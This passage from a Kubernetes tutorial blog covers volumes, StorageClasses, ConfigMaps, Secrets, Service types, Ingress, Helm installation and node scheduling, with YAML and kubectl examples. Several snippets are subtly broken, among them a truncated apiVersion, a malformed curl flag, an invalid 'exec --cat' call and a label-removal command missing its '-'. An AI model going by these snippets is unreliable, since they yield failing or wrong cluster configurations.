</span></span><span style="display:flex;"><span>    <span style="color:#f92672">volumes</span>:                                    <span style="color:#75715e">#volume is about Pod </span>
</span></span><span style="display:flex;"><span>    - <span style="color:#f92672">name</span>: <span style="color:#ae81ff">cache-volume                       </span> <span style="color:#75715e">#this name should match the name parameter </span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">emptyDir</span>: {}
</span></span></code></pre></div><p>hostPath: mounts a file or directory from host to your pod.

    <aside class="admonition note">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-edit-2">
      <path d="M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"></path>
   </svg></div><b>Note</b>
        </div>
        <div class="admonition-content">hostPath volumes have many security risks and it&rsquo;s better not to use them.</div>
    </aside></p>
<p>hostPath yaml file:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">apiVersion</span>: <span style="color:#ae81ff">v1</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">kind</span>: <span style="color:#ae81ff">Pod</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">metadata</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#ae81ff">web-server</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">spec</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">containers</span>:
</span></span><span style="display:flex;"><span>    - <span style="color:#f92672">name</span>: <span style="color:#ae81ff">nginx</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">image</span>: <span style="color:#ae81ff">nginx</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">volumeMounts</span>:
</span></span><span style="display:flex;"><span>       - <span style="color:#f92672">mountPath</span>: <span style="color:#e6db74">&#34;/usr/share/nginx/html&#34;</span>         <span style="color:#75715e">#volume path in containers </span>
</span></span><span style="display:flex;"><span>         <span style="color:#f92672">name</span>: <span style="color:#ae81ff">pv-volume</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">volumes</span>:
</span></span><span style="display:flex;"><span>    - <span style="color:#f92672">name</span>: <span style="color:#ae81ff">pv-volume                              </span> <span style="color:#75715e">#names should match (name in volumes and name in volumeMounts) </span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">hostPath</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">path</span>: <span style="color:#ae81ff">/data                                </span> <span style="color:#75715e">#volume path in host</span>
</span></span></code></pre></div><h3 id="storage-class">Storage Class:</h3>
<p>Creates and Provisions Persistent Volumes dynamically in the background whenever PVC claims it.</p>
<p>Storage Class Yaml file:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">apiVersion</span>: <span style="color:#ae81ff">storage.k8s.io/v </span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">kind</span>: <span style="color:#ae81ff">StorageClass</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">metadata</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#ae81ff">storage-class-name</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">provisioner</span>: <span style="color:#ae81ff">kubernetes.io/aws-ebs             </span> <span style="color:#75715e">#which provisioner(external or internal(kubernetes.io is internal)) to create PV out of it.</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">parameters</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">type</span>: <span style="color:#ae81ff">io1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">iopsPerGB</span>: <span style="color:#e6db74">&#34;10&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">fsType</span>: <span style="color:#ae81ff">ext4</span>
</span></span></code></pre></div><p>PVC for Storage Class:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">apiVersion</span>: <span style="color:#ae81ff">v1</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">kind</span>: <span style="color:#ae81ff">PersistentVolumeClaim </span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">metadata</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#ae81ff">mypvc</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">spec</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">accessModes</span>:
</span></span><span style="display:flex;"><span>    - <span style="color:#ae81ff">ReadWriteOnce</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">resources</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">requests</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">storage</span>: <span style="color:#ae81ff">100Gi</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">storageClassName</span>: <span style="color:#ae81ff">storage-class-name</span>
</span></span></code></pre></div><ul>
<li><code>kubectl get pv</code></li>
</ul>
<p>Status:</p>
<ul>
<li><strong>Available</strong>: PV is ready and available to use.</li>
<li><strong>Bound</strong>: PV has been bound to a claim.</li>
<li><strong>Released</strong>: the binding PVC is deleted, and PV is pending reclamation.</li>
<li><strong>Failed</strong>: an error has been encountered.</li>
</ul>
<p>PVC looks to match a PV with following parametes:</p>
<ol>
<li>Access Mode</li>
<li>StorageClassName</li>
<li>Capacity of PVC&lt;=PV</li>
</ol>

    <aside class="admonition note">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-edit-2">
      <path d="M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"></path>
   </svg></div><b>Note</b>
        </div>
        <div class="admonition-content">kubernetes uses two objects to separate config from app or container: ConfigMap &amp; Secret Secret is for sensitive config data while ConfigMap is for regular config data. ConfigMap &amp; Secret are local volumes but not created via PV &amp; PVC.</div>
    </aside>
<h2 id="configmap">ConfigMap</h2>
<p>There are 3 ways to define ConfigMap:</p>
<ol>
<li>Command line (using environment variable):</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl create configmap literal-example --from-literal<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;city=Ann Arbor&#34;</span> --from-literal<span style="color:#f92672">=</span>state<span style="color:#f92672">=</span>Michigan
</span></span></code></pre></div><p><em>configmap “literal-example” created</em>
2. Pass as Environment variables:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ cat info/city
</span></span><span style="display:flex;"><span>Ann Arbor
</span></span><span style="display:flex;"><span>$ cat info/state
</span></span><span style="display:flex;"><span>Michigan
</span></span><span style="display:flex;"><span>$ kubectl create configmap dir-example --from-file<span style="color:#f92672">=</span>info/
</span></span></code></pre></div><p><em>configmap &ldquo;dir-example&rdquo; created</em></p>
<ol start="3">
<li>As Config file (using volume):</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">apiVersion</span>: <span style="color:#ae81ff">v1</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">kind</span>: <span style="color:#ae81ff">ConfigMap</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">metadata</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#ae81ff">myconfigMap</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">data:                           #data: Contains key value pairs of ConfigMap contents.(key: state, value</span>: <span style="color:#ae81ff">Michigan) </span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">state</span>: <span style="color:#ae81ff">Michigan</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">city</span>: <span style="color:#ae81ff">Ann Arbor</span>
</span></span></code></pre></div><p>Two ways of using ConfigMap in a pod</p>
<ol>
<li>Using configMap as key value</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">spec</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">containers</span>:
</span></span><span style="display:flex;"><span>    - <span style="color:#f92672">image</span>: <span style="color:#ae81ff">mysql:5.</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">env</span>:
</span></span><span style="display:flex;"><span>        - <span style="color:#f92672">name</span>: <span style="color:#ae81ff">MYSQL_ROOT_PASSWORD </span>
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">valueFrom</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">configMapKeyRef</span>:
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">name</span>: <span style="color:#ae81ff">myconfigMap</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">key</span>: <span style="color:#ae81ff">state</span>
</span></span></code></pre></div><ol start="2">
<li>Mounting configMap as volumes**</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">volumeMounts</span>:
</span></span><span style="display:flex;"><span>    - <span style="color:#f92672">mountPath</span>: <span style="color:#ae81ff">/configmapdir </span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">name</span>: <span style="color:#ae81ff">my-configMap</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">volumes</span>:
</span></span><span style="display:flex;"><span>    - <span style="color:#f92672">name</span>: <span style="color:#ae81ff">my-configMap</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">configMap</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">name</span>: <span style="color:#ae81ff">myconfigMap</span>
</span></span></code></pre></div><p>List configMaps:</p>
<ul>
<li>$ kubectl get cm</li>
<li>$ kubectl describe cm cm</li>
</ul>
<h2 id="secret">Secret</h2>
<p>Pods access local data through volumes. But sometimes the data should not be local!</p>
<p>Two ways of creating a secret object:</p>
<ol>
<li>yaml file</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">apiVersion</span>: <span style="color:#ae81ff">v1</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">kind</span>: <span style="color:#ae81ff">Secret</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">metadata</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#ae81ff">mysec</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">data</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">password</span>: <span style="color:#ae81ff">QWRtaW5AMTEwCg==</span>
</span></span></code></pre></div><ol start="2">
<li>command line</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl create secret generic mysec <span style="color:#75715e">#generic: creates secret from a local file/directory </span>
</span></span><span style="display:flex;"><span>$ kubectl create secret generic mysec --from-literal<span style="color:#f92672">=</span>password<span style="color:#f92672">=</span>root <span style="color:#75715e">#--from-literal sends parametes </span>
</span></span></code></pre></div><p>Two ways of using secret in a pod

    <aside class="admonition note">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-edit-2">
      <path d="M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"></path>
   </svg></div><b>Note</b>
        </div>
        <div class="admonition-content">Note that in the second way (mounting as volumes), first we define volumes on pod level, then we mount volume into container.</div>
    </aside></p>
<ol>
<li>using secrets via environment variables</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">spec</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">containers</span>:
</span></span><span style="display:flex;"><span>    - <span style="color:#f92672">image</span>: <span style="color:#ae81ff">mysql:5.1</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">env</span>:
</span></span><span style="display:flex;"><span>        - <span style="color:#f92672">name</span>: <span style="color:#ae81ff">MYSQL_ROOT_PASSWORD</span>
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">valueFrom</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">secretKeyRef</span>:
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">name</span>: <span style="color:#ae81ff">mysec</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">key</span>: <span style="color:#ae81ff">password</span>
</span></span></code></pre></div><ol start="2">
<li>mounting secrets as volumes</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span>    <span style="color:#f92672">volumeMounts</span>:
</span></span><span style="display:flex;"><span>        - <span style="color:#f92672">mountPath</span>: <span style="color:#ae81ff">/mysqlpassword</span>
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">name</span>: <span style="color:#ae81ff">mysql</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">volumes</span>:
</span></span><span style="display:flex;"><span>    - <span style="color:#f92672">name</span>: <span style="color:#ae81ff">mysql</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">secret</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">secretName</span>: <span style="color:#ae81ff">mysec</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl exec -it busybox --cat /mysqlpassword/password
</span></span></code></pre></div><p>List secrets:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl get secret
</span></span></code></pre></div><h2 id="services">Services</h2>
<p>Service provides a way to expose an application running a set of pods. Clients make request to a service, which routes traffic to its pods load-balanced(by kube-proxy). <strong>There isn&rsquo;t really any physical concept of a service in a cluster.</strong></p>
<p>Service Types:</p>
<ol>
<li>ClusterIP (accessible within k8s cluster)</li>
<li>NodePort (accessible outside k8s cluster)</li>
<li>LoadBalancer</li>
</ol>
<h3 id="clusterip">ClusterIP</h3>
<p>We only have port (to access pods) and targetport(to access containers).

<figure><picture>
          <source srcset="/images/kubernetes-quick-guide/clusterip_hu11287428699452138189.webp" type="image/webp">
          <source srcset="/images/kubernetes-quick-guide/clusterip_hu5099929820033530736.jpg" type="image/jpeg">
          <img src="/images/kubernetes-quick-guide/clusterip_hu11287428699452138189.webp"alt="Cluster IP"  width="1153"  height="488"  loading="lazy" />
        </picture><figcaption>
            <p>Cluster IP</p>
          </figcaption></figure></p>
<p>create clusterIP service:</p>
<ol>
<li>Yaml file</li>
<li>Command line:</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl run pod1 --image<span style="color:#f92672">=</span>nginx 
</span></span><span style="display:flex;"><span>$ kubectl expose pod pod1 --name<span style="color:#f92672">=</span>service1 --port<span style="color:#f92672">=</span><span style="color:#ae81ff">80</span> --target-port<span style="color:#f92672">=</span><span style="color:#ae81ff">80</span> --type<span style="color:#f92672">=</span>clusterIP 
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#debug</span>
</span></span><span style="display:flex;"><span>$ kubectl describe service service
</span></span><span style="display:flex;"><span>$ kubectl get services
</span></span></code></pre></div><h3 id="nodeport">nodePort</h3>
<p>just like clusterIP object with different of <em>spec.type = nodePort</em>

<figure><picture>
          <source srcset="/images/kubernetes-quick-guide/nodeport_hu1940880957347181742.webp" type="image/webp">
          <source srcset="/images/kubernetes-quick-guide/nodeport_hu6085444192685112185.jpg" type="image/jpeg">
          <img src="/images/kubernetes-quick-guide/nodeport_hu1940880957347181742.webp"alt="Nodeport"  width="1131"  height="571"  loading="lazy" />
        </picture><figcaption>
            <p>Nodeport</p>
          </figcaption></figure></p>
<p><strong>Downsides</strong> :</p>
<ol>
<li>You can only expose one single service per port</li>
<li>You can pnly use ports in this range: 30000- 32767</li>
<li>If the k8s node IP changes, you have to deal with it</li>
</ol>

    <aside class="admonition note">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-edit-2">
      <path d="M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"></path>
   </svg></div><b>Note</b>
        </div>
        <div class="admonition-content"><p>nodeport is not recommended to use in production. Because it opens a huge security hole in cluster. We have to access the service from an IP of a node in the cluster associated with a port(30000-32767). And we do not wish to use our node IP as endpoint to our application. And if we r running thousands of services we can&rsquo;t keep track of all the ports we open in our nodes.</p>
<p>So a much better way is to have a separate IP for every service&ndash;&gt; service type <em>LoadBalancer</em> Load Balancer IP addresses are in the range of k8s nodes.</p>
</div>
    </aside>
<h3 id="loadbalancer">LoadBalancer</h3>
<p>Exposes apps outside cluster, but use an external cloud loadbalancer to do so.

<figure><picture>
          <source srcset="/images/kubernetes-quick-guide/loadbalancer_hu13318089813913847311.webp" type="image/webp">
          <source srcset="/images/kubernetes-quick-guide/loadbalancer_hu12649657252807099192.jpg" type="image/jpeg">
          <img src="/images/kubernetes-quick-guide/loadbalancer_hu13318089813913847311.webp"alt="Load Balancer"  width="1271"  height="628"  loading="lazy" />
        </picture><figcaption>
            <p>Load Balancer</p>
          </figcaption></figure></p>
<p><strong>Downside</strong> : You need to create a service of type load balancer for each service (meaning you need an IP for each service you want to expose. Note that k8s is not responsible for Service type loadBalancer&rsquo;s IP. It is an external IP.)</p>
<h2 id="ingress">Ingress</h2>
<p>History of ingress:</p>
<p>Service in k8s offers you :</p>
<ol>
<li>Service discovery</li>
<li>Load Balancing</li>
<li>Expose apps</li>
</ol>
<p>But the problem of service was that services did not have:</p>
<ol>
<li>Capabilities of enterprise load balancers like nginx, haproxy, F5, &hellip; (e.g the service type Load Balancer only supports round-robin)</li>
<li>When u create a service of type <em>Load Balancer</em> , and u have a thousand services, the cloud provider charges u with 1000 IPs.(downside of service type <em>LoadBalancer</em> )</li>
</ol>
<p>Ingress was added to k8s as a load balancer that solves above problems(first openshift solved this problem using <em>openshift routes</em> ). An API object that allows access to your Kubernetes services from outside the Kubernetes cluster. Traffic routing is controlled by rules defined on the Ingress resource. An ingress does not expose arbitrary ports (just 80 &amp; 443).</p>
<p>Ingress only works with web application (http, https). If you have some else app like mongodb and you want to expose it outside of the cluster, you need to have node port running to expose your app. Ingress may provide <em>load balancing</em> , <em>SSL termination</em> &amp; <em>name-based virtual hosting</em>.</p>
<pre class="mermaid">flowchart LR
    A@{ shape: "circle", label: "Client" } -. "Ingress-Managed
    Load Balancer" .-> n2 -- "routing rules" --> n3
    n3 -->n4[Pod]
    n3 -->n5[Pod]
	subgraph B["Cluster"]
        n2@{ shape: "rounded", label: "Ingress" }
        n3@{ shape: "rounded", label: "Service" }
        n4
        n5
	end
</pre><p><strong>Ingress Controller</strong>: A controller uses Ingress Rules to handle traffic to and from outside the cluster, usually with a load balancer. Ingress Contoller is a load balancer or API Gateway(api gateway offers u additional capabalities).
Install Ingress Controller:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ helm install my-release bitnami/nginx-ingress-controller 
</span></span><span style="display:flex;"><span>$ helm ls
</span></span><span style="display:flex;"><span>$ kubectl get pod --all-namespaces |grep -I ingress
</span></span></code></pre></div><p>Types of Ingress:</p>
<ul>
<li><strong>Single service</strong>: This is Ingress backed by a single service where a single service is exposed. To define this, specify a <strong>default backend</strong> without any rules.</li>
<li><strong>Simple fanout</strong>: a single entrypoint (IP Address) is used to expose multiple services (based on the http URL being requested).</li>
<li><strong>Named Based Virtual Hosting</strong>: routing http traffic to multiple hostnames at the same IP.</li>
</ul>
<h2 id="helm">Helm</h2>
<p>kubernetes package manager | packages are called “Chart” Helm is a way for packaging kubernetes yaml files &amp; distribute them in public or private registries.</p>
<p><strong>Install:</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$curl -fsSL - o get_helm.sh https://raw.githubusercontent.com/helm/helm/main/scripts/get-helm- <span style="color:#ae81ff">3</span> 
</span></span><span style="display:flex;"><span>$chmod <span style="color:#ae81ff">700</span> get_helm.sh
</span></span><span style="display:flex;"><span>$./get_helm.sh
</span></span></code></pre></div><p><strong>Check helm version</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$helm version
</span></span></code></pre></div><p><strong>Add a chart repo:</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$helm repo add bitnami https://charts.bitnami.com/bitnami <span style="color:#75715e">#Get the latest list of charts: $helm repo update</span>
</span></span></code></pre></div><p><strong>List the charts you can Install:</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$helm search repo nginx
</span></span></code></pre></div><p><strong>Install a chart using Helm:</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$helm install bitnami/mariadb --generate-name
</span></span></code></pre></div><p><strong>List currently deployed repositories:</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$helm repo list
</span></span></code></pre></div><p><strong>List currently deployed charts:</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$helm ls
</span></span></code></pre></div><p><strong>Uninstall a release:</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$helm uninstall mariadb- <span style="color:#ae81ff">1645460340</span>
</span></span></code></pre></div><p><strong>See info about a release:</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$helm status mariadb- <span style="color:#ae81ff">1645460340</span> 
</span></span></code></pre></div><h2 id="scheduling">Scheduling</h2>
<p>Two mechanisms to select a node by scheduler:</p>
<ol>
<li><strong>Filtering</strong> : find nodes that are capable of scheduling → nodes that suit pods requirements.</li>
<li><strong>Scoring</strong> : score nodes selected in the previous step.</li>
</ol>
<h3 id="ways-to-assign-a-node-to-a-pod">Ways to assign a node to a pod</h3>
<ul>
<li>NodeName:
In pod spec.nodename we define name of the node we want directly. Note that if the node doesn&rsquo;t exist, then the pod will not run.</li>
</ul>
<p>NodeName yaml example:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">apiVersion</span>: <span style="color:#ae81ff">v1</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">kind</span>: <span style="color:#ae81ff">Pod</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">metadata</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#ae81ff">nginx</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">spec</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">containers</span>:
</span></span><span style="display:flex;"><span>    - <span style="color:#f92672">name</span>: <span style="color:#ae81ff">nginx</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">image</span>: <span style="color:#ae81ff">nginx</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">nodeName</span>: <span style="color:#ae81ff">kube- 01</span>
</span></span></code></pre></div><ul>
<li>
<p>NodeSelector</p>
<ul>
<li>Step1: label the node:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$kubectl label node worker1 ntype<span style="color:#f92672">=</span>html <span style="color:#75715e">#ntype=key , html= value </span>
</span></span></code></pre></div><ul>
<li>Step2: in spec.nodeSelector of pod we define: ntype: html
NodeSelector yaml example:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">apiVersion</span>: <span style="color:#ae81ff">v1</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">kind</span>: <span style="color:#ae81ff">Pod</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">metadata</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#ae81ff">nodeselector-pod</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">spec</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">nodeSelector</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">ntype</span>: <span style="color:#ae81ff">html</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">containers</span>:
</span></span><span style="display:flex;"><span>        - <span style="color:#f92672">name</span>: <span style="color:#ae81ff">nginx</span>
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">image</span>: <span style="color:#ae81ff">nginx:1.19.1</span>
</span></span></code></pre></div><ul>
<li>Step3: to debug:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$kubectl get node --show-labels
</span></span></code></pre></div><ul>
<li>Step4: to delete label of a node:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$kubectl label node worker1 ntype
</span></span></code></pre></div></li>
<li>
<p>NodeAffinity: Node Affinity is a more flexible expression to schedule pods on node (over nodeName &amp; &hellip;). Two types of nodeAffinity: (required: hard, preferred: soft)</p>
<ul>
<li>requiredDuringSchedulingIgnoredDuringExecution:
<ul>
<li>requiredDuringScheduling : It says firmly to run pod if the following operator (In, NotIn , Exists, DoesNotExist ) is true.</li>
<li>IgnoredDuringExecution: when the affinity of a node changes, the pods will continue to run.</li>
</ul>
</li>
<li>preferredDuringSchedulingIgnoredDuringExecution:
<ul>
<li>preferredDuringScheduling : if no matching found, go with the default mechanism of scheduler.</li>
</ul>
</li>
</ul>
</li>
</ul>
<p>NodeAffinity yaml example:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">apiVersion</span>: <span style="color:#ae81ff">v1</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">kind</span>: <span style="color:#ae81ff">Pod</span>
